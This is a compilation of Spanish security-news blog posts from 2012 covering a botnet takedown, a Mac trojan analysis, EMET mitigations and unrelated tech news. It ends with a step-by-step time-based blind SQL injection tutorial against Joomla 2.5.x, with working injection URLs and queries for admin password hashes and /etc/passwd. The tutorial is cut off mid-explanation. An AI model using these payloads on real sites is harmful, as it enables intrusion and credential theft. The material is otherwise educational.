Desmantelan la segunda botnet Hlux/Kelihos Botnet

La nueva botnet triplica el tamaño de la primera versión. Se han neutralizado ya más de 109.000 servidores infectados cuando la primera sólo afectó a 40.000.
Diario Ti: En su continua persecución contra los operadores de botnets y delitos cibernéticos, los expertos de Kaspersky Lab, junto con CrowdStrike Intelligence Team, Dell SecureWorks y los miembros del Honeynet Project, han trabajado de forma conjunta para poner fin a la segunda botnet Hlux (también conocida como Kelihos). Esta botnet ha triplicado el tamaño de la primera Hlux/Kelihos que se desactivó en el mes de septiembre de 2011. Kaspersky Lab ha neutralizado ya más de 109.000 sistemas infectados cuando en la versión inicial sólo se infectaron 40.000 hosts.

La primera botnet Hlux/Kelihos
Esta no es la primera vez que Kaspersky Lab detecta versiones de la botnet Hlux/Kelihos. En septiembre de 2011, Kaspersky Lab junto a la Unidad de Crimen Digital de Microsoft, SURFnet y Kyrus Tech, Inc., desactivaron con éxito la primera versión de la botnet.

Durante este periodo, Kaspersky Lab llevó a cabo una operación de sinkholing (sistema que hace que todas las comunicaciones que hace de “cabeza” al resto de los bots, no lleguen a su destino, destruyendo la comunicación interna y tomando el control) que desactivó la botnet y su infraestructura de backup desde el servidor Command & Control (C&C).

A pesar de que la botnet original estaba neutralizada y bajo control, los expertos de Kaspersky Lab emprendieron una nueva investigación en enero descubriendo que un segundo Hlux / Kelihos estaba operando. A pesar de que la botnet es nueva, el malware ha sido construido utilizando los mismos códigos que la botnet original. Al igual que la primera versión, la botnet también utilizó la red de ordenadores infectados para enviar spam, robar datos personales, y llevar a cabo el ataque DDoS hacia objetivos específicos.

Cómo se ha desactivado la segunda Hlux/Kelihos
Durante la semana del 19 de marzo, Kaspersky Lab, CrowdStrike Intelligence Team, Dell SecureWorks y Honeynet Project pusieron en marcha una operación de sinkholing que logró deshabilitar la botnet.

Ambas redes eran botnets peer-to-peer (P2P), lo que significa que cada miembro de la red podía actuar como un servidor y/o cliente, a diferencia de las botnets tradicionales que se basan en un único mando y control del servidor C&C. Para neutralizar esta botnet P2P flexible, el grupo de expertos en seguridad ha creado una red global de equipos distribuidos que se han instalado en la infraestructura de la botnet. A medida que más máquinas infectadas se neutralizaban, la arquitectura P2P debilitaba su fuerza de forma exponencial perdiendo el control de los equipos.

Con la mayoría de las redes de bots conectados al sinkholing, los expertos de Kaspersky Lab pueden utilizar la minería de datos para realizar un seguimiento de las infecciones por el número y su ubicación geográfica. Hasta la fecha, Kaspersky Lab ha contado con 109.000 direcciones IP infectadas. La mayoría de las direcciones IP infectadas se encuentra en Polonia.

Kaspersky Lab da las gracias a CrowdStrike Intelligence Team, Dell SecureWorks y Honeynet Project por su apoyo en la operación.

FUENTE :http://www.diarioti.com/noticia/Desmantelan_la_segunda_botnet_Hlux_Kelihos/31424
https://foro.elhacker.net/noticias/deshabilitan_con_exito_la_botnet_hluxkelihos-t340521.0.html

https://foro.elhacker.net/noticias/microsoft_identifica_al_responsable_de_la_botnet_kelihos-t351543.0.html

OSX/Tibet.C se distribuye usando un bug de Offie para mac

El equipo de Alient Vault informó sobre la campaña de distribución de un malware, al que se denominó OSX/Tibet.A, tanto en equipos Windows como en equipos Mac OS X por medio de spam y haciendo uso de un bug conocido de Java. Este era un ataque dirigido a ONGs pro-Tibet con el objetivo de controlar la máquina. Ahora se ha descubierto que se está utilizando también un bug conocido de Office para mac del año 2009 que Microsoft reconoció en el Boletín de Seguridad MS09-27. Este bug permite a un atacante, por medio de un documento Word especialmente malformado, ejecutar comandos en el sistema y tomar el control del equipo.
Los atacantes están enviando spam en el que en un correo electrónico se informa de los abusos de los derechos humanos del pueblo Chino a Tibet , y en el que se adjunta un fichero doc malicioso - catalogado con algunos nombres como TROJ_ARTIEF.AE , Troj/DocOSXDr-A o W97/CodeExec.gen -. Este documento, una vez abierto en una sistema Mac OS X con Office para mac sin parchear, se explota la vulnerabilidad y comienza a ejecutarse todo el proceso.



Figura 1: Spam utilizado para distribuir el exploit en formato .doc

Se copia el archivo file.doc y el script launch-hse en la ruta /tmp , junto con el script que lanza el troyano, que en este caso concreto se llama launch-hse y que ejecuta: #!/bin/sh /tmp/launch-hse & open /tmp/file.doc & Una vez lanzado, el dropper descarga los mismos ficheros que se ejecutaban en la versión anterior, aunque con pequeños cambios el fichero .plist y con el panel de control alojado en unas direcciones IP alojadas en USA .


Figura 2: Fichero .plist utilizado para obtener la persistencia

También se ha descubierto un segundo troyano compilado para diferentes arquitecturas - i386 , PPC , etcétera - que no se había visto hasta el momento, que además arroja un poco más de información en el caso, ya que se han podido descubrir en el fichero un par de rutas locales apuntando a los símbolos de debugging que hacen pensar que el proyecto, que parece un APT en toda regla, se ha denominado longgege y que al backdoor se le llama MacControl . /Developer/longgegeProject/Mac Control/MacControl V1.1.1/build/Foundation_Hello.build/ Release/Foundation_Hello.build/Objects-normal/ppc/Foundation_Hello.o /Developer/longgegeProject/Mac Control/MacControl V1.1.1/build/Foundation_Hello.build/ Release/Foundation_Hello.build/Objects-normal/i386/Foundation_Hello.o Una vez ejectuado se copia a sí mismo en /Library/launched y crea el fichero /Users/{Usuario}/Library/LaunchAgents/com.apple.FolderActionxsl.pslist para conseguir la persistencia tras el reinicio del sistema.
Cada vez que se arranca se conecta a unos servidores en China y envía información sobre la máquina infectada. Por supuesto, este backdoor es un R.A.T. en toda regla y permite tener un control total sobre la máquina de la víctima. Este troyano ya se empieza a detectar por todas las casas de antimalware para Mac OS X y ha recibido otros nombres como OSX/Bckdr-RLG o TSPY_MARADE.AA.


Figura 3: Envío de las credenciales de usuario al panel de control

Desde Seguridad Apple os recomendamos que tengáis actualizado todo el software del sistema - Java u Office para mac incluidos -. Para el caso de Office para mac os recordamos que hay una herramienta que se llama Microsoft AutoUpdate que avisa cada vez que haya una nueva actualización desde Microsoft .
Si tenéis antimalware en Mac OS X, os recomendamos tenerlo con protección activa en tiempo real que permita detectar acciones malicosas en los servicios en base a comportamiento para detectar nuevo malware no firmado, y que actualicéis las bases de datos de firmas para tener las últimas firmas generadas.
Publicado en Seguridad Apple

Mac Address de Apple: Detectar y/o spoofear un Apple

Las MAC Address que se utilizan los equipos tiene unos bits dedicados al fabricante de las tarjetas. Estos bits se llaman OUI (Organitationally Unique Identifier) y definen la compañía que ha creado el hardware. En los equipos de Apple , como las tarjetas son fabricadas por ellos mismos, es fácil reconocer a un equipo en comunicación como un Apple , lo que puede venir bien en determinadas ocasiones.

La mayoría de las aplicaciones de seguridad de red, como sniffers o scanners, llevan incluida una base de datos de OUI para hacer mucho más cómoda la visualización de datos, pero si no es así, hay herramientas que permiten la consulta online, ayudándote a saber si una MAC Address es de un equipo Apple o, por ejemplo, cuales son los OUI de Apple.

Figura 1: Consulta de OUI asociados al string Apple

El conocer los OUI de un fabricante como Apple , puede ayudar a un pentester a ocultarse mejor en una red, ya que si el pentester no está usando un equipo de Apple , y está haciendo ataques de red poniendo su tarjeta en modo promíscuo o realizando man in the middle a equipos, puede ocultarse mejor debajo de los ojos de un administrador de seguridad suplantando a un equipo Mac . Esto haría que, a primera vista, se buscase un equipo con una manzana, mientras que el atacante trabaja desde su Linux o Windows .




Figura 2: Mac Address de un OUI de Apple




Para generar Mac Address en grandes rangos, hay paginas com MacRandomGenerator, que ayudan a crear listas de Macs de un determinado fabricantes. Todo esto de las Mac Address , puede ser de especial importancia, por ejemplo, a la hora de detectar dispositivos como APs , o equipos WiFi , en una red inalámbrica. Descubre en este libro cómo funciona el mundo del Fraude Online
Publicado en Seguridad Apple

Go 1, primera versión estable del lenguaje de programación de Google

Google comenzó a trabajar en un lenguaje de programación propio allá por 2007, y el año pasado comenzamos a ver las primeras novedades con una presentación durante el evento Google I/O y luego con varias actualizaciones y adiciones menores. Ahora ha llegado la primera versión estable de este lenguaje, Go versión 1 o directamente Go 1, como los desarrolladores de Google la llaman internamente. Entre las novedades de esta versión tenemos la de estar por primera vez disponible en la forma de binarios compatibles con Windows, FreeBSD, Mac OS X y también varias distros de Linux. Pero además llega el nuevo SDK para Google App Engine con lo que la integración de la criatura de Google con su plataforma de código en la nube comienza a ser más transparente para el usuario (porque hay que recordar que ya estaba disponible esta integración pero mediante algunos pasos y compilaciones varias). Como es de esperar, en Google no van a querer que tanto trabajo sea en vano o que en algún tiempo no sea tan útil, por lo que se han esforzado en aclarar que el código escrito en Go 1 será compatible con futuras versiones de esta rama (1.1, 1.2, etc) salvo excepciones que se espera sean contadas, y tengan que ver con la utilización de algún elemento deprecado de las API por cuestiones de seguridad. Pero han creado unas guías de compatibilidad bastante extensas y detalladas en las cuales se especifica cual es el método más adecuado de desarrollo de código para garantizar que el código escrito hoy siga siendo ejecutado dentro de muchos años.
http://blog.golang.org/2012/03/go-version-1-is-released.html
http://golang.org/


Escrito por Willy Klew
Visual Beta

monocaffe: Changes in Jongo 0.2

Lots of changes are being introduced in Jongo 0.2 which I believe are better suited for the scope of the project.First and most important, I decided to remove the administration console which was to be used as a way for an administrator to customize access to resources, set ID columns and add complex queries. The problem with this approach is that I don't want Jongo to be another tool you have to worry about to keep it running, and most of this things are already on your RDBMS! The basic idea of Jongo: embrace the use of any SQL server.So, the problems the administration console tried to fix should be fixed on the database:Resources permissions. Use an specific user for Jongo, and customize access for this user.Complex Queries. The idea was to allow a GET request to execute a predefined query which is created in Jongo. But why do this when you have triggers, stored procedures, views, etc? So this had to go. Also, stored procedures run faster than running the same query over and over again.If your resource is not using an ID column, this is now supposed to be sent on the requests, p.e. http//.../Jongo/db/resource/1?customId=ridAnother big change being introduced is the correct use of headers in the request and in the response. In 0.1 the "Accept" header wasn't used at all, and this is not acceptable in REST. So now, instead of changing the format as a path parameter, Jongo handles the appropriate headers. On the other hand, response headers include a lot of information about the data being returned: Content-Length, Content-MD5, Content-Count, Date and more depending on the response (error, success, head, stats).During the day I've been working extensively with JAX-RS at work with a project which is very similar to Jongo in how both work, so both of the projects share ideas, and being able to customize the response's JSON and XML is very important. Because of this I've added the "format" parameter to the Accept header. By default the XML and JSON returned by Jongo is the same as in version 0.1 even if this parameter is not set. If the parameter is set like "Accept: application/json;format=jax" then JAX is used to marshal the response. The objective is to allow to develop different formats which can be read without much development on the consumers.I'm also working on tests and trying to achieve a 90% coverage. Doing this is a great exercise on fixing code structure and abstraction. Being able to setup an in-memory database with HSQLDB also helps a lot.Gone is all the code to handle the different database error codes returned by the JDBC drivers. I had the hope (silly me) that the different RDBMSs would follow some sort of standard at least on this, but no, each one of them returns a different SQLStatus & SQLCode for the same error, so it was very frustrating and I didn't want to waste my time researching for the correct codes and their meaning for every different system. The solution? More than a solution, it's a workaround: return the error message and codes to the client and let it handle it as it sees fit. Remember, embrace your database!Another feature gone is the "apps" folder, so by default, you won't be able to use Jongo as a JavaScript application server, although, there's a way to serve static content which I'll explain in the future.Finally, I separated the project in three repositories, one called jongo for all the common code, jongo-jetty for the standalone version and jongo-as which generates a WAR which should be deployed in any application server. I tried to get a version of this WAR working with Google's GAE but it was very frustrating as a PaaS. What I believe is a better service is the one provided by Jelastic and I'll document a guide on how to prepare Jongo's WAR to work with it.That's it for now, I hope the few users of Jongo don't get pissed because of this changes.

Planeta codigo
Escrito por __OVERFLOW__

Adobe Flash Player 11.2: Dos CVE críticos parcheados

Adobe ha lanzado una nueva versión de Flash Player, la 11.2 o más en detalle la número 11.2.202.228. Esta nueva actualización resuelve los problemas de impacto crítico de seguridad, los cuales podrían causar la caída del sistema o lo que es peor, permitir a un atacante ejecutar código arbitrario en la máquina, es decir, tomar el control de la máquina remota.

Figura 1: Adobe Player Installer

Adobe parece estar cansado de todos los problemas de seguridad que está teniendo en los últimos años, los cuales son causa de la pérdida de uso de sus aplicaciones. Adobe ha visto que no puede luchar contra sus vulnerabilidades de código, por lo que ha decido implantar una nueva actualización para el sistema de actualizaciones silenciosas. Los usuarios tendrán 3 opciones que son las siguientes:


- Las actualizaciones se podrán obtener e instalar automáticamente.- Se notificará a los usuarios antes de instalar dichas actualizaciones.- El sistema no comprobará la existencia de las actualizaciones, esta opción no es recomendable de configurar.


Este nuevo sistema de actualizaciones silenciosas sólo está disponible para Windows , pero Adobe ha informado que una versión para Mac OS X está en fase de desarrollo, por lo que en siguientes actualizaciones se podrá contar con la nueva funcionalidad. Para descargar la última versión de Adobe Flash Player se puede descargar desde su página oficial. Las vulnerabilidades que corrige esta nueva actualización son las siguientes:

- CVE-2012-0772: Afecta a todas las plataformas y puede provocar ejecución de código arbitrario tras la visita a un web con código malicios. - CVE-2012-0773: Afecta a todas las plataformas y también puede provocar la ejecución de código arbitrario tras la visita a una web con código malicioso.
Desde Seguridad Apple recomendamos la actualización de la versión de Adobe Flash Player , y configurar el nuevo sistema de actualizaciones para que éstas se descarguen e instalen automáticamente. Descubre en este libro cómo funciona el mundo del Fraude Online
Publicado en Seguridad Apple -
Suscríbete al canal RSS - Sigue Seguridad Apple en Google+

Spam somos y en Black SEO nos convertiremos

Curiosa información me envía el amigo del hacking de los buscadores. Enrique Rando , en su pasión por las búsquedas ha encontrado una red de generación de SEO bastante curiosa . Todos los posts que se publican en esos blogs son mezclas de palabras sin ningún sentido con el objetivo de cumplir los más estrictos objetivos de la buena calidad de los posts para que los buscadores los traten por buenos.






Figura 1: Bonitas cosas dicen de nosotros




Todos tienen el mismo tamaño, y solo dos hipervínculos al final, apuntándose a sí mismos.






Figura 2: Los enlaces de calidad al final




El número de blogs que están haciendo esto son bastantes, y forman una especie de anillo bastante peculiar que puede tratarse de una POC o de un ataque pensado para después vender links de calidad en campañas de SEO y jugar con los algoritmos de Google .



Lo más curioso es que Enrique Rando y yo nos hayamos visto mezclados en uno de ellos. Suponemos que será por nuestros grandes estudios en el arte del SEO , como son los artículos de Técnicas SEO para gente de moral relajada, Hacer estafas de SEO al CEO está FEO, Clientes de Black SEO o el Hot SEO de la cacha hace amigos en Facebook. Spam somos y en BlackSEO nos convertiremos.

Saludos Malignos! Publicado en Un informático en el lado del mal - El lado del mal

Mitigaciones de seguridad en EMETv2.1 (I de III)

EMET es una herramienta que mejora la protección de aplicaciones de terceros y binarios propios de Windows mediante siete técnicas de mitigación. Funciona inyectando una DLL (de 32 o 64 bits) en cada proceso de la aplicación protegida.

En este texto se habla varias veces de compilar con un cierto flag los fuentes de una aplicación. Aunque se utiliza ese término, la fase exacta sería la de enlazado y no de compilación.

Mitigaciones de seguridad


- DEP

Solución hardware y software para prevenir la ejecución de código en páginas de memoria que que no han sido marcadas explícitamente como ejecutables, ya que típicamente se usan para datos (stack, heap). Para esto marca como no ejecutables la pila y el heap, de forma que cualquier intento de ejecución de código en estas zonas será denegado a nivel de procesador. Para utilizar DEP la CPU debe soportar la desactivación de ejecución (XD en Intel y NX en AMD).

En principio sólo se podía hacer uso de DEP si una aplicación había sido compilada con el flag correspondiente /NXCOMPAT. EMET posibilita su uso sin necesidad de recompilar la aplicación; para esto llama a SetProcessDEPPolicy desde el proceso en cual se inyectó la DLL de EMET. En CPUs de 64 bits sobre Windows de 64 bits siempre está activo y no se puede desactivar. Por lo tanto si se invoca a SetProcessDEPPolicy en estas CPUs se produce un fallo.

Se puede evadir mediante una técnica llamada return-to-libc, en la cual se sobreescribe la pila para apuntar a código de librerías (por ejemplo, system en glibc). En este caso no se ejecuta código en la propia pila, y por eso se puede bypassear. Sucede algo parecido con la técnica ROP, donde tampoco se busca ejecutar código en la pila.

Para realizar la técnica ROP es necesario tener el control de la pila. La idea es aprovechar pequeños trozos de código (instrucciones) que ya están en memoria para construir el payload deseado. Para ello se escriben en la pila las direcciones de las instrucciones que interesan. A esto se le llama ROP-gadgets. Éstas instrucciones se ejecutan sin problemas, ya que están ubicadas en páginas de memoria marcadas con permisos de ejecución (NX=0). Finalmente se escribe la shellcode en una zona ejecutable, que previamente estaba en la pila, y se salta a ella. Se puede escribir sobre la sección de código en JIT, ya que requiere que los permisos que se utilicen sean rwx. Sino, se puede hacer uso de VirtualAlloc para establecer todos los permisos o dar permisos de ejecución con VirtualProtect.

Se podría hacer que todo el exploit funcionara a base de ROP puramente, pero típicamente se hace uso de él solo durante la primera fase. Es decir, se persigue como objetivo ejecutar el código que hemos copiado en la pila y no construirlo mediante ROP-gadgets.

Visto que existen técnicas para evitar DEP, es conveniente además hacer uso de otras técnicas de mitigación (ASLR, SHEOP, MIC) para convertirlo en realmente efectivo. Por ejemplo, mediante ASLR el atacante no podrá encontrar las posiciones de memoria donde están situados los ROP-gadgets.

DEP se puede configurar de cuatro maneras diferentes:

optIn: sólo afecta a binarios de Windows y a aplicaciones que explícitamente lo indiquen. Los binarios de 64 bits son la excepción, ya que siempre serán protegidos a menos que se indique lo contrario mediante optOut.


optOut: afecta a todos los binarios, tanto de Windows como de terceros. Se puede indicar explícitamente que algunos binarios no se vean afectados.


AlwaysOn: se aplica a todo el sistema haciendo caso omiso de las excepciones optOut.


Disabled: se desactiva totalmente haciendo caso omiso de las excepciones optIn.


- ASLR

En Windows los ejecutables (EXE y DLL) en principio se cargan en memoria en la dirección base establecida en tiempo de compilación que consta en el propio fichero. Para prevenir la explotación de vulnerabilidades mediante ASLR se aleatoriza esta dirección, de forma que no se utiliza la indicada en el ejecutable.

Es necesario distinguir dos implementaciones de ASLR. La que realiza el propio Windows trabaja con módulos que han sido compilados con un flag específico (IMAGE_DLL_CHARACTERISTICS_DYNAMIC_BASE), y aleatoriza la dirección base con hasta 256 posibilidades. La segunda implementación es la ofrecida por EMET donde no se necesario indicar nada en tiempo de compilación, y por lo tanto no hace falta recompilar la aplicación. Esto es, si un ejecutable no soporta ASLR de forma nativa, mediante EMET se asigna la dirección de memoria base donde se carga el ejecutable de forma que el cargador de imágenes tenga que buscar una nueva dirección. A esto se le llama Mandatory ASLR (pseudo-ASLR), y tiene una menor entropía que ASLR real: 4 bits frente a 8 en ASLR nativo.

Mandatory ASLR usado conjuntamente con la técnica de mitigación Bottom Up Randomization, implementado en la versión 2.1 de EMET, ofrece una gran protección. La entropía obtenida es la misma que con ASLR real, y además la dirección base cambia cada vez que se inicia la aplicación. Con ASLR nativo esto no ocurre, y además es necesario un reinicio.

En EMET la mitigación Mandatory ASLR fuerza la relocalización de DLLs que han sido cargadas posteriormente a EMET.DLL. Por lo tanto no se aleatoriza con EMET ni la propia imagen core ni las librerías estáticas empotradas en él. Cuando EMET se carga hace un hook a LdrLoadDll y comprueba por cada módulo que se vaya a cargar el bit IMAGE_DLL_CHARACTERISTICS_DYNAMIC_BASE. Si no está presente implica que la DLL no ha sido enlazada con el flag ASLR, por lo tanto se fuerza pseudo-ASLR preasignando una página de la dirección base para que el operativo la cargue en otra dirección.

Para comprobar si EMET está funcionando correctamente con ASLR podemos usar Process Explorer de la suite Sysinternals. Primero hay que tener en cuenta que los módulos que marca como ASLR son los que han sido compilados específicamente para ello; es decir, aquellos con los que trabaja Windows y no EMET. Para poder ver los que EMET ha forzado la relocalización hay que ir a Options-Configure Colors y activar Relocated DLLs. Después indicaremos que queremos que se muestren las DLLs mediante View-Show Lower Pane y finalmente View-Lower Pane View-DLLs. Entonces al pinchar sobre un proceso protegido con ASLR en EMET, si no utiliza DLLs compiladas con dynamic base, veremos que han sido relocalizadas mediante EMET (las mostrará de amarillo si se utiliza el color por defecto).

Artículo cortesía de David Montero
Extraido de www.securitybydefault.com

2 millones de dólares en Italia,Apple condenado a pagar 1

Apple ha perdido la apelación que presentó en un caso en Italia y deberá abonar 1,2 millones de dólares o, aproximadamente, 900.000 euros. La compañia fue multada por haber, supuestamente, presentado una cantidad no real sobre las garantías de los productos y la estipulación de ésta. La decisión fue tomada este jueves y dictada por el presidente del tribunal administrativo regional de Italia.

¿Dónde comenzó todo?
Hay que remontarse al año pasado y encontrar la sanción a Apple por no proporcionar información sobre la duración concreta de las garantías de sus productos, con lo que fue multado con 400.000 Euros , y además un extra de 500.000 Euros por la falta de información sobre las garantías extendidas de Apple Care en Italia .



La multa fue la consecuencia directa de una investigación que se realizó a Apple en Italia por prácticas desleales de marketing o comerciales. Apple empujaba a los consumidores a realizar un pago por el Apple Care con valor de 2 años, cuando según las leyes de la Unión Europea requieren que las compañias ofrezcan las mismas condiciones sin coste alguno.
A partir de ahora, con la decisión tomada el jueves, Apple debe agregar una nota informativa en sus embalajes para informar a sus clientes de que se disponen de 2 años de garantía por ley. Apple sigue pensando en presentar una segunda apelación, a pesar, de que no ha habido ningún anuncio oficial sobre cuando va a suceder. Apple Care se encuentra disponible para toda la gama de productos desde iPad , hasta iPhone , pasando por máquinas Mac . El coste varía en función del producto, pero la cobertura incluye soporte telefónico y reparación en tienda.
'La que se viene encima', podría ser el titular con el que se hable de Apple en las próximas fechas. Tras la multa de los 900.000 Euros , hay otros 11 grupos de consumidores europeos que se unen al ataque contra la empresa de Cupertino . El tema va a dar que hablar en Europa y desde Seguridad Apple estaremos atentos a lo que suceda.

Publicado en Seguridad Apple -

La policía, principal cliente de este software que permite crackear tu móvil

Publicado el 28 de marzo de 2012 por Nerea Bilbao La compañía sueca Miro Systemation, con base en Estocolmo se está haciendo de oro vendiendo software para hackear smartphones, y sus principales clientes son autoridades policiales. Y el negocio le va viento en popa. Systemation Micro ha crecido un 25% en un año y ha ingresado 18 millones de dólares, 6 más que en 2010 y ha doblado el número de empleados desde 2009. Desde la compañía aseguran que tienen clientes hasta en 60 paí...

STI/asLAN: Concurso de falsificadores de firmas

Este año SmartAccess ha planteado una actividad muy curiosa como concurso para poner a prueba la tecnología de firma biométrica en dispositivos móviles SealSign (Tenemos que hablar de eso de la usar una foca en el nombre) que va a realizar en SITI/asLan.

Los que hayáis venido a las sesiones de Up To Secure 2012 ya sabéis que SealSign es una solución de firma biométrica y digital pensada para ser utilizada en dispositivos móviles que ejecuten Android, iOS o Windows en ella.

El algoritmo que lleva dentro se ha desarrollado siguiendo las técnicas de reconocimiento grafológico que utilizan los peritos para determinar si una firma ha sido hecho o no por la misma persona, y la solución ha sido validada por abogados de Ecija para ser utilizada como elemento probatorio en un juicio.

Para que pruebes tú mismo si la solución es buena o no, en le próximo SITI/asLAN de Madrid que tiene lugar los días 27, 28 y 29 de Marzo, en el stand de SmartAccess C5 vas a poder intentar falsificar una firma. Sólo por intentar falsificar la firma vas a ganar una tableta... de chocolate, que puede convertirse en un Samsung Note si consigues demostrar que eres un auténtico falsificador.



Allí además podrás ver las soluciones portafirmas que puedes incorporar a las aplicaciones corporativas de tu empresa para introducir la firma biométrica y/o digital como parte de los procesos de control de tu empresa, para sustituir en la medida de las posibilidades el papel.

Después de años trabajando juntos, haciendo el libro del DNIe, colaborando en el FTSAI donde imparten la parte de autenticación fuerte de servidores, y yéndonos de gira juntos, hemos llegado a un acuerdo de partnership con SmartAccess para distribuir la solución SealSign y adaptar las aplicaciones de firma biométrica y digital a las necesidades de los clientes, para que funcionen en Android, iPad o dispositivos con Windows. Si quieres más información sobre esta solución, ponte en contacto con nosotros y te daremos mucha más información.

Debido a esto, también estaremos compartiendo stand en SITI/asLAN con ellos, donde podrás adquirir los libros de Informática64 y obtener información de nuestros servicios de consultoría de sistemas, auditoría de seguridad, cursos de formación o de software como MetaShield Protector o la Forensic FOCA. ¡Nos vemos en la feria!

Escrito por Chema Alonso
www.elladodelmal.com

Un saludo

Exploit de Joomla paso a paso

En esta entrada voy a tratar de explicar cómo hacer un exploit paso a paso para Joomla 2.5.0-2.5.1 o 1.7.0-1.7.5, de la forma más sencilla posible y explicando conceptos básicos de inyecciones de SQL y alguno un poco más avanzado, ya que en este caso se hace el ataque basado en tiempo.
Para este ejercicio lo ideal es que montéis un Joomla versión 2.5.1 por defecto en vuestro sistema y podáis acceder localmente para ir haciendo las pruebas.
Hasta la fecha no hay exploit para este fallo del 29 de febrero, aunque la vulnerabilidad se conoce gracias a la nota de seguridad de Colin Wong.
Lo que me ha dejado completamente K.O., es como una vulnerabilidad tan gorda y estúpida, se ha podido colar en el código. Me ha sorprendido muchísimo que no haya sido descubierta antes, coño, si es que hasta el Acunetix, la detecta.


El primer paso es buscar donde está el bug comparando el código de la versión vulnerable: 2.5.0 ó 2.5.1, con el de la versión que lo soluciona: 2.5.2.
Se descargan ambos ficheros y se descomprimen para ver que líneas han sido modificadas. Afortunadamente no hay demasiadas y es muy sencillo detectar las líneas que están afectadas por el sql injection con un simple comando "diff" (línea 8)


¡Vaya! En las dos últimas líneas del diff se ve que la variable "$current" en la nueva versión es llamada usando $db->quote() y no directamente. Sospechoso ;).
Lo siguiente es tratar de encontrar en que momento este código es ejecutado para averiguar donde se ha de inyectar el código SQL y hasta dónde se puede llegar.
Toca revisar el fichero dónde está esa línea: j-2.5.1/plugins/system/redirect/redirect.php

Tan solo por la cabecera se puede observar que es un componente del Core de Joomla que está encargado de hacer redirecciones y viendo el panel de administración, te haces una rápida idea de que función hace este plugin.

Básicamente permite hacer redirecciones en caso de que solicite una página web que no existe. Gestionando los errores y evitando que un visitante llegue a una página muerta de la web.
Ahora a leer el código del fichero más en detalle y lentamente. Por lo menos la parte más crítica:

Al margen del primer comentario (hay que ver ahora quien es el idiota). En el código se aprecia que la sentencia SQL vulnerable (línea 24) es llamada cuando no existe una redirección publicada y permanente creada para esa página (el if de la línea 18). Es decir, si por ejemplo se solicita la URL: http://localhost/joomla/index.php/AAAAA y el administrador del CMS no ha creado un redirect para esta página, mostrará un error 404 estándar de Joomla.
El siguiente paso que da el aplicativo (de la línea 26 a la 45) es añadir la URL a la base de datos para que el administrador pueda ver que páginas se han solicitado y no existen, pero esta parte es indistinta, ya que la inyección se ha generado antes y por lo tanto es irrelevante.
¿Entonces cómo se explota? Pues tan solo hay que llamar una página del tipo: http://localhost/joomla/index.php/AAAAAA' union select ... y el código que se quiera insertar. Lo sé, parece imposible que un producto tan popular y con esta madurez aún tenga un sql injection TAN estúpido.
"El problema" para hacer uso de la vulnerabilidad es que el resultado de la inyección no es mostrado por pantalla, ni errores, ni resultados positivos/negativos y conseguir algo útil es un poco más complejo, ya que la sentencia vulnerable es usada internamente por el aplicativo y no para generar la página resultante.
Solo queda una alternativa y es hacer inyecciones basadas en tiempo. Es decir, si al solicitar la página no existente tarda 1 segundo en responder normalmente, provocar que tarde 10 según el resultado de la inyección.
El ejemplo más sencillo para detectar esta vulnerabilidad es llamar a la página de la siguiente forma: http://localhost/joomla/index.php/AAAAAA' union select sleep(10) union select '1 y observaríamos que tarda 10 segundos en devolver la página ya que la sentencia SQL vulnerable se quedará 10 segundos esperando e impidiendo la ejecución normal que devolvería la página normalmente en 1 ó 2 segundos.
La ejecución en base de datos y completando la sentencia que se obtiene de la línea 24 con los parámetros que se han pasado, queda de la siguiente forma: select id from tabla where old_url='http://localhost/joomla/index.php/AAAAAA' union select sleep(15) union select '1'
Ahora no queda más remedio que estudiar funciones de MySQL y ver cómo usar este comportamiento, para extraer datos. Las más importantes: database(): devuelve el nombre de la base de datos: select database()
sleep(): ejecuta una demora de tiempo: select sleep(10)
length(): devuelve la longitud de una cadena: select length(database())
ascii(): devuelve el valor ascii de una cadena: select ascii("A")
substring() ó mid(): recorta una cadena de caracteres: select mid(database(),1,1)
load_file(): devuelve el contenido de un fichero: select load_file("/etc/hosts")
ord(): devuelve el código del valor si es multibyte o su ascii: select ord("2")
if(): permite devolver valores en base a los resultados de otras consultas: select if(database()="hola","yes","no") en este caso "no", ya que se llama "joomla" y no "hola"
Mezclando estas funciones se puede llegar al objetivo final. Por ejemplo, en mi base de datos que se llama "joomla":
select substring(database(),1,1) devuelve el primer carácter de "joomla", es decir, la "j".
select ascii(substring(database(),1,1)) devuelve el primer carácter del nombre "joomla", la "j" y luego lo convierte a su decimal ascii: 106
select ascii(substring(database(),2,1)) devuelve el segundo carácter de "joomla", la "o" y luego lo convierte a su decimal ascii: 111
select if(database()="joomla","si","no") comprueba si el resultado de database() es "joomla", en caso de que correcto devuelve "si", en caso de que no sea así devolverá "no".
select if(ascii(substring(database(),2,1))=106,sleep(10),null) comprueba si el decimal ascii del primer carácter de database(), "106", es igual a 106, si es así, ejecuta un sleep de 10 segundos y si no, no devuelve nada.
Lo mejor, verlo en funcionamiento directamente sobre MySQL

Pues después de esto solo queda automatizar todo el proceso del ejemplo 5 para ir recorriendo cadenas de caracteres con substring() y comparar con la tabla ascii, calculando cuánto tarda la web en responder, 10 segundos o tan solo 1 ó 2.

Con estas peticiones se averigua el primer carácter de "database()":

select if ( ascii(substring(database(),1,1))= 1 ,sleep(10),null)
select if ( ascii(substring(database(),1,1))= 2 ,sleep(10),null)
select if ( ascii(substring(database(),1,1))= 3 ,sleep(10),null)
... select if ( ascii(substring(database(),1,1))= 105 ,sleep(10),null)
select if ( ascii(substring(database(),1,1))= 106 ,sleep(10),null) <-- en esta se ejecutará el sleep, ya que el ascii de "j" es 106 y la condición se cumple.

Una vez se detecta el retardo de 10 segundos, se pasa al siguiente carácter, modificando el substring:


select if ( ascii(substring(database(), 2 ,1))=1,sleep(10),null)
select if ( ascii(substring(database(), 2 ,1))=2,sleep(10),null)
select if ( ascii(substring(database(), 2 ,1))=3,sleep(10),null)
...

Anidando un par de bucles y calculando el tiempo se puede sacar el resultado de cualquier consulta sql. Por ejemplo con: select table_name from information_schema.tables where table_schema = "joomla" and table_name like "%_users" se obtiene el nombre de la tabla donde se almacenan los usuarios y con: select password from zzzz_users limit 1 , el hash de la contraseña del usuario administrador.
Si el usuario que se conecta a la base de datos tiene privilegios suficientes, también podría ejecutar load_file() , cargando un fichero del sistema, que se yo, por ejemplo el /etc/passwd.
El exploit tan solo ha de automatizar este proceso, incluso puede que alguna herramienta ya desarrollada se pueda configurar para este propósito. El funcionamiento incluyendo peticiones tendría este flujo: Se obtiene la fecha del sistema
Se hace petición HTTP GET con la comprobación, por ejemplo: http://localhost/joomla/index.php/AAAAAA' union select if ( ascii(substring(database(), 1 ,1))=1,sleep(10),null) union select '1
Se vuelve a obtener la fecha del sistema
